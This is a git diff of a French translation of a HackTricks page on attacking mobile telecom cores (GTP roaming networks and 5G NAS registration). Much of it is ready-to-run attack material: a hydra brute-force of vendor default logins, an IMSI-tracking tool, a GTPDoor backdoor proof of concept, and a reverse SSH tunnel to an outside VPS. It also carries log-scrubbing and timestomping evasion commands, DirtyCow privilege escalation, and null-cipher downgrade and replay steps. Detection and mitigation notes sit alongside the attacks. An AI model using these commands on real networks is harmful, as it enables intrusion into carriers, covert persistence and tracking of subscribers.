mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
f9ee10349f
commit
b258af8024
@ -1,27 +1,27 @@
|
||||
# Exploitation des Réseaux Télécom (GTP / Environnements de Roaming)
|
||||
# Exploitation des réseaux télécoms (GTP / environnements d'itinérance)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Les protocoles de cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des infrastructures de roaming GRX/IPX semi-fiables. Comme ils fonctionnent sur UDP simple avec presque aucune authentification, **tout point d'accès à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation de base**. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
|
||||
> Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP non chiffré avec presque aucune authentification, **toute présence initiale à l'intérieur du périmètre télécom peut généralement atteindre directement les plans de signalisation core**. Les notes suivantes rassemblent des astuces offensives observées en conditions réelles contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
|
||||
|
||||
## 1. Reconnaissance & Accès Initial
|
||||
## 1. Recon & accès initial
|
||||
|
||||
### 1.1 Comptes OSS / NE par Défaut
|
||||
Un ensemble étonnamment large d'éléments de réseau de fournisseurs est livré avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une liste de mots dédiée augmente considérablement le succès des attaques par force brute :
|
||||
### 1.1 Comptes OSS / NE par défaut
|
||||
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Une wordlist dédiée augmente fortement le succès des attaques par force brute:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Si l'appareil n'expose qu'un VRF de gestion, pivotez d'abord via un hôte de saut (voir la section «SGSN Emu Tunnel» ci-dessous).
|
||||
Si l'appareil n'expose qu'une VRF de gestion, pivotez d'abord via un jump host (voir la section «SGSN Emu Tunnel» ci-dessous).
|
||||
|
||||
### 1.2 Découverte d'hôtes à l'intérieur de GRX/IPX
|
||||
La plupart des opérateurs GRX permettent encore **ICMP echo** à travers le backbone. Combinez `masscan` avec les sondes UDP `gtpv1` intégrées pour cartographier rapidement les écouteurs GTP-C :
|
||||
### 1.2 Découverte d'hôtes dans GRX/IPX
|
||||
La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les sondes UDP `gtpv1` intégrées pour cartographier rapidement les services GTP-C à l'écoute:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Énumération des abonnés – `cordscan`
|
||||
|
||||
L'outil Go suivant crée des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité par l'abonné.
|
||||
L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l'abonné.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Drapeaux clés :
|
||||
Options clés:
|
||||
- `--imsi` IMSI de l'abonné cible
|
||||
- `--oper` Foyer / HNI (MCC+MNC)
|
||||
- `-w` Écrire des paquets bruts dans pcap
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Écrit les paquets bruts dans un pcap
|
||||
|
||||
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les analyses :
|
||||
Des constantes importantes dans le binaire peuvent être patchées pour élargir les scans:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Exécution de code via GTP – `GTPDoor`
|
||||
## 3. Exécution de code sur GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par une balise pré-partagée, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les stdout/stderr sont exfiltrés à l'intérieur des messages **Echo Response** afin qu'aucune session externe ne soit jamais créée.
|
||||
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la payload commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Le stdout et le stderr sont exfiltrés dans des messages **Echo Response** afin qu'aucune session sortante ne soit jamais créée.
|
||||
|
||||
Paquet PoC minimal (Python) :
|
||||
Paquet PoC minimal (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Détection :
|
||||
* tout hôte envoyant des **Echo Requests déséquilibrés** aux IPs SGSN
|
||||
* le drapeau de version GTP réglé sur 1 tandis que le type de message = 1 (Echo) – déviation par rapport à la spécification
|
||||
* tout hôte envoyant des **Echo Requests déséquilibrées** vers les adresses IP du SGSN
|
||||
* bit de version GTP mis à 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification
|
||||
|
||||
## 4. Pivotement à travers le cœur
|
||||
## 4. Pivoting à travers le cœur du réseau
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` fournit un émulateur SGSN capable de **établir un contexte PDP vers un vrai GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le pair en itinérance.
|
||||
`OsmoGGSN` fournit un émulateur SGSN capable de **établir un contexte PDP vers un vrai GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le peer en roaming.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Avec un hair-pinning de pare-feu approprié, ce tunnel contourne les VLANs uniquement de signalisation et vous amène directement dans le **data plane**.
|
||||
Avec un hair-pinning de firewall approprié, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
|
||||
|
||||
### 4.2 Tunnel SSH inversé sur le port 53
|
||||
Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne à votre VPS écoutant sur :53 et revenez plus tard de chez vous :
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Vérifiez que `GatewayPorts yes` est activé sur le VPS.
|
||||
Vérifier que `GatewayPorts yes` est activé sur le VPS.
|
||||
|
||||
## 5. Canaux Clandestins
|
||||
## 5. Canaux cachés
|
||||
|
||||
| Canal | Transport | Décodage | Remarques |
|
||||
|-------|-----------|----------|-----------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + morceaux de 14 octets (XOR) | écouteur passif pur, pas de trafic sortant |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (clé = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC dans IE privé | se mélange avec le bruit légitime de GTP-C |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | écoute entièrement passive, aucun trafic sortant |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets des enregistrements A | surveille le sous-domaine `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se fond dans le trafic GTP-C légitime |
|
||||
|
||||
Tous les implants mettent en œuvre des surveillants qui **timestomp** leurs binaires et se réactivent s'ils plantent.
|
||||
Tous les implants implémentent des watchdogs qui **timestomp** leurs binaires et se relancent en cas de crash.
|
||||
|
||||
## 6. Feuille de Triche pour l'Évasion de Défense
|
||||
## 6. Aide-mémoire d'évasion des défenses
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Élévation de privilèges sur les NE hérités
|
||||
## 7. Privilege Escalation sur Legacy NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -116,25 +116,132 @@ Conseil de nettoyage :
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Boîte à outils
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – outils personnalisés décrits dans les sections précédentes.
|
||||
* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : WPAD malveillant LLMNR/NBT-NS
|
||||
* `Microsocks` + `ProxyChains` : pivotement SOCKS5 léger
|
||||
* `FRP` (≥0.37) : traversée NAT / pontage d'actifs
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : pivot SOCKS5 léger
|
||||
* `FRP` (≥0.37) : traversée NAT / pont d'assets
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à l'activation de la sécurité NAS par Security Mode Command/Complete, les messages initiaux ne sont ni authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque si vous pouvez observer ou altérer le trafic N2 (par ex. on-path à l'intérieur du core, rogue gNB, ou banc d'essai).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE envoie SUCI (SUPI chiffré) et capabilities.
|
||||
- Authentication: AMF/AUSF envoient RAND/AUTN ; l'UE renvoie RES*.
|
||||
- Security Mode Command/Complete: intégrité et chiffrement NAS sont négociés et activés.
|
||||
- PDU Session Establishment: configuration IP/QoS.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core : le déploiement par défaut d'Open5GS suffit pour reproduire les flows.
|
||||
- UE : simulateur ou UE de test ; décoder avec Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS à la volée sans lancer un rogue gNB complet).
|
||||
- Useful display filters in Wireshark:
|
||||
- `ngap.procedure_code == 15` (InitialUEMessage)
|
||||
- `nas_5g.message_type == 65` or `nas-5gs.message_type == 65` (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'origine). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le suivi persistant d'un abonné.
|
||||
|
||||
Comment tester :
|
||||
- Capturez le premier message NAS dans InitialUEMessage et inspectez le Mobile Identity IE.
|
||||
- Vérifications rapides dans Wireshark :
|
||||
- Il doit décoder en SUCI, pas en IMSI.
|
||||
- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` devrait exister ; absence conjuguée à la présence de `imsi` indique une fuite.
|
||||
|
||||
Quoi collecter :
|
||||
- MCC/MNC/MSIN s'ils sont exposés ; journaliser par UE et suivre dans le temps/les emplacements.
|
||||
|
||||
Atténuation :
|
||||
- Imposer des UE/USIM n'acceptant que SUCI ; alerter sur toute IMSI/SUPI dans le NAS initial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Contexte :
|
||||
- L'UE annonce les EEA (encryption) et EIA (integrity) supportés dans l'IE UE Security Capability de la Registration Request.
|
||||
- Mappages courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
|
||||
|
||||
Problème :
|
||||
- Parce que la Registration Request n'est pas protégée par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection de EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent à tort les algorithmes nuls en dehors des services d'urgence.
|
||||
|
||||
Étapes offensives :
|
||||
- Intercepter l'InitialUEMessage et modifier le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
|
||||
- Avec Sni5Gect, hooker le message NAS et patcher les bits de capability avant de le forwarder.
|
||||
- Observer si l'AMF accepte des chiffrements/intégrité nuls et complète le Security Mode avec EEA0/EIA0.
|
||||
|
||||
Vérification/visibilité :
|
||||
- Dans Wireshark, confirmer les algorithmes sélectionnés après Security Mode Command/Complete.
|
||||
- Exemple de sortie d'un sniffer passif :
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Atténuations (obligatoires) :
|
||||
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement mandaté (p.ex., appels d'urgence).
|
||||
- Privilégier l'application d'EEA2/EIA2 au minimum ; consigner et déclencher des alertes pour tout contexte de sécurité NAS qui négocie null algorithms.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (NAS pré-sécurité)
|
||||
Parce que le NAS initial manque d'intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être replayed vers l'AMF.
|
||||
|
||||
Règle PoC pour 5GReplay afin de transférer les replays correspondants :
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
À observer :
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigations :
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Idées de détection
|
||||
1. **Tout appareil autre qu'un SGSN/GGSN établissant des demandes de création de contexte PDP**.
|
||||
2. **Ports non standards (53, 80, 443) recevant des poignées de main SSH** provenant d'IP internes.
|
||||
3. **Demandes Echo fréquentes sans réponses Echo correspondantes** – pourraient indiquer des balises GTPDoor.
|
||||
4. **Taux élevé de trafic de réponse ICMP echo avec de grands champs d'identifiant/séquence non nuls**.
|
||||
1. **Tout device autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
|
||||
2. **Ports non standards (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
|
||||
3. **Echo Requests fréquents sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor.
|
||||
4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**.
|
||||
5. 5G : **InitialUEMessage portant des NAS Registration Requests répétés depuis les mêmes endpoints** (signal de replay).
|
||||
6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence.
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration des réseaux de télécommunications mondiaux](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Protocole de tunneling GPRS (v16.4.0)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user